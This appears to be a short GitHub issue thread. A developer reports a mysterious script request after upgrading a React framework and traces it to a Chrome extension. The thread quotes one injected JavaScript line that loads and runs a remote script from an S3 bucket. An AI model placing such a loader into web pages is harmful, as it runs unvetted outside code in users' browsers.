Failed call to http://s3.eu-central-1.amazonaws.com/forton/http_headers_1.js after upgrade to 8.1.0

[bslinger]

I upgraded to 8.1.0 and have mostly got all my existing code ported over to work with react-router v4, etc, but I am getting this strange HTTP request which I can't seem to track down. It happens every time I load a route. The request is to http://s3.eu-central-1.amazonaws.com/forton/http_headers_1.js and it seems to be created by some generated code that looks like this:

(() => {var s = document.createElement('script');s.src = '//s3.eu-central-1.amazonaws.com/forton/http_headers_1.js';document.body.appendChild(s);})();

I've searched the codebase, I've googled the URL, and I can't find any sign of it. Perhaps something to do with the route preFetching? I'm kind of baffled.

[bslinger]

Sorry, never mind - this was a Chrome extension that I had installed, I finally tracked it down via Google on what looks like a Korean version of Stack Overflow. Thank goodness for Google Translate!

[ctrlplusb]

Been burnt like this myself before. Sometimes its just better to go incognito. I dislike how the extensions pollute the dev tools.